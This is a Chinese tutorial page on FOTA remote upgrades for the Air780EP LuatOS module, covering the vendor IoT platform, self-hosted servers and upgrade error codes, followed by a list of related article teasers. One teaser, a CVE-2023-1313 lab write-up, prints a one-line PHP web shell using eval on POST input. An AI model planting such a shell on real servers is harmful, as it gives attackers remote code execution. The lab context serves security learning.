你也觉得FOTA升级难吗?这份详细教程让你自信升级!

前言:

我经常在各个讨论群里看到有合宙Air780EP的用户说:

FOTA远程升级有点难呀~一步错后面就得重新来了,有没有大佬给个教程啊?

用户提需求了,那我们肯定要满足啊,就连夜赶了一篇

在整理这篇文章之前,是没有觉得这个FOTA远程升级有多复杂的,写完回头一看,好家伙,这么多步骤啊!

本篇保姆级教程,手把手教你FOTA远程升级,小白秒变专家!

合宙支持LuatOS功能的模组型号,除本文介绍的Air780EP外, 还有Air780EPA、Air780E、Air780EX、Air201、Air780EPT、Air780EPS等型号, 本文介绍的FOTA应用流程,同样也适用于这些型号。

一. 概述

合宙Air780EP具有高度集成、低功耗、强大的开发支持的特点,提供了丰富的接口,支持多种外设连接,支持标准AT指令和LuatOS开发。

Air780EP开发板适用于多种物联网应用场景,比如智能家居、智能城市、工业控制、远程监控等。

在开始之前,我们先学习一下FOTA升级的背景知识:

FOTA远程升级是物联网中比较常用的功能,本文介绍如何使用Air780EP开发板进行远程升级

LuatOS-Air开发模式下,固件分为两部分:core和script(core为底层固件,script为脚本文件)

远程升级时:可以仅升级script;可以仅升级core;也可以同时升级core+script

本文我详细介绍了两种方式的升级教程:一个是合宙iot平台升级教程,另一个是自建第三方服务器升级教程。

根据你的需求,选择哪一种都可以完成升级。

二. 材料准备

我们升级前需要的工具准备有这些:

  1. 780EP开发板一套,包括天线SIM卡,USB线

  2. PC电脑,以及登录官方IOT后台 https://iot.openluat.com/

  3. 固件和DEMO下载地址 LuatOS软件包

三. 合宙iot平台升级core+script过程

1. iot平台创建产品

  • 登录合宙iot平台

  • 如果没有账户,注册一个账户

  • 打开:我的项目->新建项目

2.复制PRODUCT_KEY

3. 模块端脚本修改,生成升级包

core旧版本core新版本core
例子LuatOS-SoC_V1001_EC718P.socLuatOS-SoC_V1001_EC718P.soc
要求1、大于等于旧版本core版本号2、新旧版本core支持的功能相同
script
main.lua
旧版本
(模块端本地烧录的)
新版本
(生成的量产文件,远程升级包)
要求
PROJECT
(项目名称
fotademofotademo新旧版本保持一致
VERSION
(软件版本号)
1.0.0fotademo大于等于旧版本VERSION
PRODUCT_KEY
(项目密钥)

Vn7jF7r23yswjfwMa7Zu

MsdnuuUC9wC3

Vn7jF7r23yswjfwMa7Zu

MsdnuuUC9wC3

和iot平台创建的产品
ProductKey保持一致

 

4. 按照新版本的需求,修改main.lua

如下图所示,PROJECT和PRODUCT_KEY保持不变,PRODUCT_KEY需和服务器保持一致,VERSION修改为1.0.1

注意事项:

1. main.lua 内填写版本号要符合 x.y.z 形式, 其中 x/y/z 均为数值, 不限于个位数;

2. 若fota使用合宙iot平台, 版本号中的 y 会被忽略, 推荐写0, 务必留意

5. 使用Luatools生成bin文件差分包

注意:只有Luatools版本2.1.89以上支持生成bin文件差分包,低版本仅支持生成sota文件

只升级脚本,差分包制作流程如下:

固件和DEMO下载地址 LuatOS软件包,这里下载的是LuatOS-SoC@EC718P V1001下面的core_V1001.zip软件包。下载对应软件包后按如下步骤生成对应的差分包。

在Luatools目录下的SOC量产及远程升级文件下,找到EC718P文件夹,打开后缀名为.bin的文件fotademo_1001.1.1_LuatOS-SoC_EC718P.bin,这个就是文件差分包。

需要升级底层CORE,差分包制作流程如下:

(1)生成新版本的量产固件,如下所示

(2)根据新旧固件生成对应差分文件,如下所示:

  • a. 点击选项及工具选项,选择升级包制作工具
    • b. 选择对应文件,点击开始执行生成对应差分文件

    • c. 生成的差分文件

6. 在合宙iot平台配置升级包

  • 进入iot平台,打开我的项目->固件列表->创建固件

  • 选择新固件升级文件

如果升级全部设备勾选的是,则需要添加需要升级的模块imei

7. 模块开机,完成升级

烧录旧版本的模块开机后,连接升级服务器,下载差分升级包,自动重启,重启过程中完成固件升级,整个过程的关键日志如下图所示

8. 云平台查看升级日志

登录云平台,选择对应设备升级的产品->固件升级->升级日志->输入对应的imei并选择日期->搜索

可以看到设备在此日期下的空中升级日志。正常升级成功的情况下,短时间内会有两次升级请求,第一次请求升级获取到升级包之后,设备重启升级成功会再次向云平台请求是否有更高版本的固件可以升级。直到升级结果为 “已是最新版本” 服务器没有更高版本的固件为止。

如果你的存在设备升级失败等情况,可以对照以下表格寻求解决方案:

响应码响应信息问题以及解决办法云平台日志结果
3无效的设备检查请求键名(imei小写)正确性
17无权限设备会上报imei、固件名、项目key。 服务器会以此查出设备、固件、项目三 条记录, 如果 这三者不在同一个用户名下,就会认为无权限。 设备不在项目key对应的账户下, 可寻找合宙技术支持查询该设备在哪个账户下, 核实情况后可修改设备归属无权限
2121不允许从1.0.2升到1.0.321
25无效的项目productkey不一致,检查是否存在拼写错误, 检查模块是否在本人账户下,若不在本人账户下,请联系合宙工作人员处理未找到项目
26无效的固件固件名称错误,项目中没有对应的固件。用户自己修改了固件名称,可对照升级日志中设备当前固件名与升级配置中固件名是否相同(固件名称,固件功能要完全一致,只是版本号不同)。找不到固件
27已是最新版本1、设备固件版本高于云平台 2、固件版本设备脚本版本高于云平台版本 3、用户项目升级配置中未添加该设备 4、云平台升级配置中,是否升级配置为否已是最新版本 设备不在配置的升级设备列表中
40循环升级云平台进入设备列表搜索被禁止的imei,解除禁止升级就好了。 云平台防止模块在升级失败后,反复请求升级导致流量耗尽, 在模块一天请求升级六次后会禁止模块升级。可在平台解除。检测到循环升级 (已禁止升级,请到设备列表解除)
43请等待云平台生成差分升级包需要等待, 一到三分钟后云平台生成完成差分包便可以请求成功。正在生成版本,请等待
44基础版本缺失平台未收录设备固件(多为定制固件, 可寻找合宙技术支持人员添加,需提供定制固件邮件)基础CORE版本缺失

四. 自建第三方服务器升级过程

使用自建第三方服务器升级

注意:只有Luatools版本2.1.89以上支持生成bin文件差分包,低版本仅支持生成sota文件

手动生成core差分包+script全量包。例如core版本有1001、1002、1003,现在要统一升级到1004,则需要按照如下步骤操作:

  1. 手动生成:从1001到1004的core差分包+script全量包、从1002到1004的core差分包+script全量包、从1003到1004的core差分包+script全量包

  2. 模块请求升级时,服务器根据模块中的core版本返回对应的升级包文件

  3. 手动生成差分包的过程如下:用合宙提供的luatools中的soc差分工具生成差分包

操作步骤

1. 准备模块中使用的旧版本core升级文件

此文件指的是模块中旧版本core中的.soc文件(从合宙官方渠道下载),例如以LuatOS-SoC_V1001_EC718P.soc为例

2. 使用Luatools分别生成新旧版本的升级包

如下图所示

在Luatools目录下SOC量产及远程升级文件下的EC718P下,生成了一个后缀名为.soc的文件fotademo_1.0.1_LuatOS-SoC_V1002_EC718P.soc,这个就是新版本的升级包

3. 生成差分包

使用luatools生成升级文件,无论core是否需要升级,升级文件必须包含core,因为差分会用到,使用luatools内的soc差分工具生成即可

生成对应差分包如下图所示:

注意:差分包不能超过480k

4. 差分包上传到自建服务器

lua固件默认支持HTTP获取升级包

启动远程升级功能,demo\fota2\main.lua文件做如下修改,打开使用自建服务器进行升级部分代码,填写对应的url

5. 使用其他协议实现自建服务器远程升级

可参考脚本库中配置。无论使用哪种协议,远程升级的关键是获取正确的升级固件包。

总结:

当你看到这里,是不是已经感到安心和踏实一些了,是的,你已经掌握了FOTA远程升级的方法了。每一个步骤都被细细拆解,确保即便是技术小白也能轻松上手。

你在FOTA远程升级的时候,有没有遇到过什么问题?评论区一起来讨论吧~


合宙支持LuatOS功能的模组型号,除本文介绍的Air780EP外, 还有Air780EPA、Air780E、Air780EX、Air201、Air780EPT、Air780EPS等型号, 本文介绍的FOTA应用流程,同样也适用于这些型号。

如有需要,请点击 www.openluat.com 获取联系方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/393827.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

掌握 LINQ:通过示例解释 C# 中强大的 LINQ的集运算

文章目录 集运算符原理实战示例1. Union2. Intersect3. Except4. ExceptWith5. Concat6. Distinct 注意事项总结 在C#中,LINQ(Language Integrated Query)提供了丰富的集合操作功能,使得对集合数据进行查询、过滤、排序等操作变得…

删除有序数组中的重复项(LeetCode)

题目 给你一个 升序排列 的数组 ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 中唯一元素的个数。 考虑 的唯一元素的数量为 ,你需要做以下事情确…

CVE-2023-1313

开启靶场 url访问/install来运行安装 http://eci-2ze0wqx38em0qticuhug.cloudeci1.ichunqiu.com/install/ 得知其用户和密码为admin 登录 查找文件上传位置 上传一句话木马文件 <?php echo phpinfo();eval($_POST[flw]);?> 下载查看上传木马路径 复制路径 /storag…

代理IP如何助力品牌保护?

品牌是企业非常重要的无形资产&#xff0c;代表着一个公司、一个产品或服务的价值、信誉和形象。在竞争激烈的市场中&#xff0c;一个强有力的品牌可以帮助公司吸引更多的客户、提高销售、提高客户满意度和忠诚度&#xff0c;还可以帮助公司建立和维护其声誉、增强其企业形象&a…

单词拆分——LeetCode

139.单词拆分 题目 给你一个字符串 s 和一个字符串列表 wordDict 作为字典。如果可以利用字典中出现的一个或多个单词拼接出 s 则返回 true。 注意&#xff1a;不要求字典中出现的单词全部都使用&#xff0c;并且字典中的单词可以重复使用 示例 1&#xff1a; 输入: s &qu…

数据结构实验:树和二叉树(附c++源码:实现树有关算法)

目录 一、实验目的 二、问题分析及数据结构设计 三、算法设计&#xff08;伪代码表示&#xff09; 1. 输入字符序列 创建二叉链表 2. 递归前序遍历 3. 递归中序遍历 4. 递归后序遍历 5. 非递归前序遍历 6. 非递归中序遍历 7. 非递归后序遍历 8. 层次遍历 9. 求二叉…

【AI】关于AI和手机

2011 年至2015 年期间&#xff0c;全球智能手机出货量年增长率均超过两位数&#xff0c;显示出强劲的市场需 求和快速扩张趋势。然而&#xff0c;自2016 年起&#xff0c;全球智能手机用户数量趋于饱和&#xff0c;换机周期也逐 渐变长&#xff0c;市场进入存量替换阶段&#x…

Qt/C++最新地图组件发布/历时半年重构/同时支持各种地图内核/包括百度高德腾讯天地图

一、前言说明 最近花了半年时间&#xff0c;专门重构了整个地图组件&#xff0c;之前写的比较粗糙&#xff0c;有点为了完成功能而做的&#xff0c;没有考虑太多拓展性和易用性。这套地图自检这几年大量的实际项目和用户使用下来&#xff0c;反馈了不少很好的建议和意见&#…

PXE 批量安装Linux系统

目录 一、 实验环境准备 1、一台红帽版本7的主机 2、开启主机图形 3、配置网络可用 4、关闭VMware dhcp 功能 ​编辑​编辑 5、配置好本地仓库&#xff0c;方便后续下载 二、配置kickstart自动安装脚本的工具 1、 安装图形化生成kickstart自动安装脚本的工具 2、启动图…

2.MySQL库的操作

创建数据库 创建数据库的代码&#xff1a; CREATE DATABASE [IF NOT EXISTS] db_name [create_specification [,create_specification] ...];​create_specification:[DEFAULT] CHARACTER SET charset_name[DEFAULT] COLLATE collation_name 说明&#xff1a; 大写的表示关键…

【隐私保护】无证书签名方案(CLS)

一、CLS方案提出的背景 无证书签名方案&#xff08;Certificateless Signature Scheme, CLS&#xff09;是一种旨在结合公钥基础设施&#xff08;PKI&#xff09;和基于身份的加密&#xff08;IBE&#xff09;的优点&#xff0c;同时避免它们缺点的加密技术。 CLS方案的主要目标…

【网络安全渗透测试零基础入门必知必会】之什么是文件包含漏洞分类(非常详细)零基础入门到精通,收藏这一篇就够了

一、前言 这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段文件包含渗透与防御第1篇。 本文主要讲解什么是文件包含漏洞、本地文件包含漏洞 喜欢的朋友们&#xff0c;记得给大白点赞支持和收藏一下&#xff0c;关注我&#xff0c;学习黑客技术。 一、什么是文件包含漏洞…

【HarmonyOS NEXT星河版开发学习】小型测试案例07-弹性布局小练习

个人主页→VON 收录专栏→鸿蒙开发小型案例总结​​​​​ 基础语法部分会发布于github 和 gitee上面&#xff08;暂未发布&#xff09; 前言 在鸿蒙&#xff08;HarmonyOS&#xff09;开发中&#xff0c;Flex布局是一种非常有用的布局方式&#xff0c;它允许开发者创建灵活且响…

Spring Boot实战:拦截器

一.拦截器快速入门 1.1了解拦截器 什么是拦截器&#xff1a; 概念 &#xff1a;拦截器是Spring框架提供的核⼼功能之⼀, 主要⽤来拦截⽤⼾的请求, 在指定⽅法前后, 根据业务需要执⾏预先设定的代码。 也就是说, 允许开发⼈员提前预定义⼀些逻辑, 在⽤⼾的请求响应前后执⾏. 也…

ThinkPHP6与金仓数据库(Kingbase)集成:模型查询的解决方案

摘要&#xff1a; ThinkPHP6是一款流行的PHP框架&#xff0c;支持多种数据库。然而&#xff0c;对于金仓数据库&#xff08;Kingbase&#xff09;这种相对小众的数据库系统&#xff0c;开发者在使用ThinkPHP6进行模型查询时可能会遇到一些兼容性问题。本文将提供一种解决方案&a…

仿推特社区源码修复版,含pc端和H5端,可以封装成app

简介&#xff1a; 新鲜出炉的仿推特社区源码修复版&#xff0c;含pc端和H5端&#xff0c;可以封装成app。这玩意绝对可以算是精品代码了。 手机h5端可以封装成软件也不错的。 推特的风格还是不错的&#xff0c;不然世界首富马斯克也不会花费440亿美金收购它了。 阅览&#…

nginx 405错误是什么意思

405错误&#xff1a;方法不被允许 当Web服务器收到一个它不支持的HTTP请求方法时&#xff0c;就会返回405错误。 原因 405错误通常是由于客户端发出了不兼容或不支持的HTTP请求方法。例如&#xff0c;客户端可能请求一个只能通过GET方法访问的资源&#xff0c;但使用了POST方…

图片转文字怎么操作?教你几招图片转文字小妙招

在日常的工作学习中&#xff0c;我们每天可能会接触到大量的图片资料&#xff0c;无论是会议纪要、书籍扫描页、还是网络上的有用信息截图&#xff0c;如果能快速将这些图片中的文字提取出来&#xff0c;无疑将极大提升我们的工作效率。下面给大家分享几种能够将图片转换成文字…

简单中间件模型

中间件是软件开发过程中架构的一个通用概念&#xff0c;其目的在于为运行的主程序提供一个供外部自定义拓展的能力。比如&#xff1a;wen服务的controller层中间件针对request请求处理的前后进行通用的扩展处理、redux中间件针对store数据获取前后的扩展处理。。。   本文简单…

OrangePi AIpro学习3 —— vscode开发昇腾DVPP程序

目录 一、VScode配置 1.1 下载和安装 1.2 安装和配置需要的插件 二、构建项目 2.1 项目架构 2.2 解决代码高亮显示 2.3 测试编译 2.4 总结出最简单的代码 2.5 vscode报错找不到头文件解决方法 三、代码简单讲解 3.1 初始化部分 3.2 拷贝数据到NPU显存中 3.3 准备裁…